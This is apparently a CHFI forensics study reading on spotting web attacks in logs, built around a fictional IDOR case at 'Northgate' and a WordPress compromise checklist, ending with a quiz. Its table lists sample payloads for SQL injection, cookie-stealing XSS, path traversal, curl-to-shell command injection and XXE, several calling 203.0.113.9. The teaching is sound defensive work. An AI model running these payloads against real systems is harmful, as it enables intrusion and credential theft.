Chapter 14 · Reading 2 of 3
Web attack evidence
CHFI domains 1, 3, 4, 5, 6
The WAF flagged Northgate’s 03:11:58 request with a SQL-injection rule but only logged it. Yet the application record shows a clean profile update. Was this an injection, something else entirely, or both? Web attacks leave patterns in requests and responses, and the examiner needs to recognize them, decode them and then check whether each one worked.
Decode before you judge
Attackers encode payloads to slip past filters, and logs record what arrived. URL encoding turns ' into %27 and a space into %20 or +. Double encoding turns %27 into %2527. HTML entities, Base64, Unicode escapes and mixed case appear too. Search for decoded forms, or decode the logs first, or a search for UNION SELECT will miss %55nIoN%20sElEcT.
Patterns by attack
| Attack | Example in a request | Evidence it worked |
|---|---|---|
| SQL injection | id=7' UNION SELECT username,password FROM users-- | Larger responses, database errors in the app log, unusual queries in database logs |
| Cross-site scripting (XSS) | q=<script>fetch('//203.0.113.9/'+document.cookie)</script> | Script stored in a page (stored XSS) or reflected in a response; requests to the attacker’s host carrying cookies |
| Directory traversal | file=../../../../etc/passwd | Status 200 with the size of the target file; file contents in the response |
| Command injection | host=8.8.8.8;id or $(curl 203.0.113.9/x.sh|sh) | New processes spawned by the web server account; outbound connections |
| XML external entity (XXE) | <!DOCTYPE x [<!ENTITY e SYSTEM "file:///etc/passwd">]> | File contents in the response; outbound requests from the server to attacker URLs |
| Parameter tampering | Changing price=, role= or user_id= in a form or URL | Business records that do not match what the interface allows |
| Cookie poisoning | Editing a cookie such as isAdmin=false to true, or a session ID | Privileged actions from a session that was never granted them |
| Brute force | Many POSTs to /login or /wp-login.php | Many failures then a success; then actions by that account |
The second column alone is an indicator, an attempt. The third column is what turns an attempt into a finding. Scanners send thousands of attack strings to every site on the internet, and most fail.
What really happened at 03:11:58
The WAF’s full record of the request shows the body:
POST /account/profile Cookie: session=s:498877… Body: user_id=552190&email=p.okoye%40inbox-relay.example&display_name=P.+Okoye%27--
- The session cookie belongs to customer 498877, the attacker’s own account.
- The form includes a
user_idfield that the application trusted. - A trailing
'--in the display name triggered the WAF’s SQL-injection rule. The application used parameterized queries, so it was stored harmlessly as text.
The SQL-injection alert was a red herring, or a probe. The change came from parameter tampering: the profile form contained a hidden user_id field, and the application updated whichever user the form named instead of the user signed in. This flaw is an insecure direct object reference, a form of broken access control. The application log’s “session of customer 498877 updated user 552190” is the evidence that it worked.
WordPress and its database
Many organizations run WordPress, which stores content and accounts in a MySQL or MariaDB database with tables such as wp_users, wp_usermeta, wp_options and wp_posts. Northgate’s marketing site runs WordPress, and the examiner checks it too. Common evidence of compromise includes repeated POSTs to /wp-login.php or /xmlrpc.php (brute force), a new administrator in wp_users with a matching capability in wp_usermeta, unexpected PHP files in wp-content/uploads/, changed siteurl or home values in wp_options, and injected scripts in wp_posts. Vulnerable plugins are the most common entry point, so plugin versions and their known vulnerabilities belong in the notes. Northgate’s marketing site shows only failed attempts.
On the exam, recognize the pattern, then ask what evidence shows success: the response, the application’s own record or a change in the data. The next reading, Did it reach the database?, checks the last link.
Inspect the three records, then use the evidence to answer the question.
1. Session
Session cookie belongs to customer 498877
2. Parameter
user_id=552190 in the form body
3. Result
Application updated customer 552190
Apply the reading
A request contains %27%20UNION%20SELECT. Why decode it before searching the logs, and what else would you check?
Compare your reasoning
Attack strings are often URL-encoded, double-encoded or mixed in case, so searches for the plain text miss them. Decode it to ' UNION SELECT, then check the response status and size, the application’s error log and the database for evidence that the query ran.